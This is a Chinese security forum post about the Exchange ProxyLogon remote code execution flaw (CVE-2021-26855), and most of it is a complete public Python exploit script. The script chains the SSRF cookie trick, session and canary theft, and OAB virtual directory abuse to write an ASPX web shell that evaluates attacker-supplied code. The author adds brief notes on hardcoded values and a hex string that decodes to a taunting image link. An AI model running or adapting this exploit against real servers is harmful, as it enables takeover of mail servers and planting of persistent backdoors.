安全矩阵

 找回密码
 立即注册
搜索
查看: 2832|回复: 0

Exchange最新RCE利用EXP已放出

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-3-12 22:15:51 | 显示全部楼层 |阅读模式
原文链接:Exchange最新RCE利用EXP已放出

前言

前段时间exchange的RCE(CVE-2021-26855)漏洞炒的沸沸扬扬,orange也被推上风口浪尖都快有阴谋论的八卦味道了。不过不管他,今天早上起来看到crazyman师傅在星球发了老外写的利用exp,就知道这事差不多可以公开了。少宇师傅更是一大早五点起床开始复现,真可怕(。
前后大概也就一周时间,我这种菜鸡就等着白嫖学习了。


正文
结合已经公开的资料,我们开始学习吧!

  • 两篇学习资料


https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/
https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

老外公开的exp
  1. import requests
  2. from urllib3.exceptions import InsecureRequestWarning
  3. import random
  4. import string
  5. import sys


  6. def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
  7.     return ''.join(random.choice(chars) for _ in range(size))

  8. if len(sys.argv) < 2:
  9.   print("Usage: python PoC.py <target> <email>")
  10.   print("Example: python PoC.py mail.evil.corp haxor@evil.corp")
  11.   exit()
  12. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  13. target = sys.argv[1]
  14. email = sys.argv[2]
  15. random_name = id_generator(3) + ".js"
  16. user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

  17. shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"
  18. shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

  19. shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
  20. legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
  21. autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  22.     <Request>
  23.       <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  24.     </Request>
  25. </Autodiscover>
  26. """ % email

  27. print("Attacking target " + target)
  28. print("=============================")
  29. print(legacyDnPatchByte.decode('hex'))
  30. FQDN = "EXCHANGE"
  31. ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
  32.                                                                         "User-Agent": user_agent},
  33.                   verify=False)
  34. if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
  35.     FQDN = ct.headers["X-FEServer"]

  36. ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  37.     "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
  38.     "Content-Type": "text/xml",
  39.     "User-Agent": user_agent},
  40.                    data=autoDiscoverBody,
  41.                    verify=False
  42.                    )
  43. if ct.status_code != 200:
  44.     print("Autodiscover Error!")
  45.     exit()
  46. if "<LegacyDN>" not in ct.content:
  47.     print("Can not get LegacyDN!")
  48.     exit()

  49. legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
  50. print("Got DN: " + legacyDn)

  51. mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

  52. ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  53.     "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
  54.     "Content-Type": "application/mapi-http",
  55.     "User-Agent": user_agent
  56. },
  57.                    data=mapi_body,
  58.                    verify=False
  59.                    )
  60. if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
  61.     print("Mapi Error!")
  62.     exit()

  63. sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]

  64. print("Got SID: " + sid)

  65. proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
  66. """ % sid

  67. ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  68.     "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
  69.     "Content-Type": "text/xml",
  70.     "User-Agent": user_agent
  71. },
  72.                    data=proxyLogon_request,
  73.                    verify=False
  74.                    )
  75. if ct.status_code != 241 or not "set-cookie" in ct.headers:
  76.     print("Proxylogon Error!")
  77.     exit()

  78. sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

  79. msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
  80. print("Got session id: " + sess_id)
  81. print("Got canary: " + msExchEcpCanary)

  82. ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
  83.     "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  84.         FQDN, sess_id, msExchEcpCanary),
  85.     "User-Agent": user_agent
  86. },
  87.                   verify=False
  88.                   )
  89. if ct.status_code != 200:
  90.     print("Wrong canary!")
  91.     print("Sometime we can skip this ...")
  92. rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
  93. # print "Got rbacRole: "+ rbacRole

  94. print("=========== It means good to go!!!====")

  95. ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  96.     "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  97.         FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
  98.     "Content-Type": "application/json; charset=utf-8",
  99.     "User-Agent": user_agent

  100. },
  101.                    json={"filter": {
  102.                        "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
  103.                                       "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
  104.                    verify=False
  105.                    )
  106. if ct.status_code != 200:
  107.     print("GetOAB Error!")
  108.     exit()
  109. oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
  110. print("Got OAB id: " + oabId)

  111. oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
  112.             "properties": {
  113.                 "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
  114.                                "ExternalUrl": "http://ffff/#%s" % shell_content}}}

  115. ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  116.     "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  117.         FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
  118.     "Content-Type": "application/json; charset=utf-8",
  119.     "User-Agent": user_agent
  120. },
  121.                    json=oab_json,
  122.                    verify=False
  123.                    )
  124. if ct.status_code != 200:
  125.     print("Set external url Error!")
  126.     exit()

  127. reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
  128.                   "properties": {
  129.                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
  130.                                      "FilePathName": shell_absolute_path}}}

  131. ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  132.     "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  133.         FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
  134.     "Content-Type": "application/json; charset=utf-8",
  135.     "User-Agent": user_agent
  136. },
  137.                    json=reset_oab_body,
  138.                    verify=False
  139.                    )

  140. if ct.status_code != 200:
  141.     print("Write Shell Error!")
  142.     exit()

  143. print("Successful!")
复制代码
PS:exp不可以直接利用,需要自己结合资料进行修改。有几个地方写死了,这边提个彩蛋:

  1. legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
  2. …………
  3. print("Attacking target " + target)
  4. print("=============================")
  5. print(legacyDnPatchByte.decode('hex'))
复制代码

这里打印出来的是一张照片链接:



可以看到是嘲讽我们JB小子太菜了(

结语
好好学习叭























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 21:55 , Processed in 0.012570 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表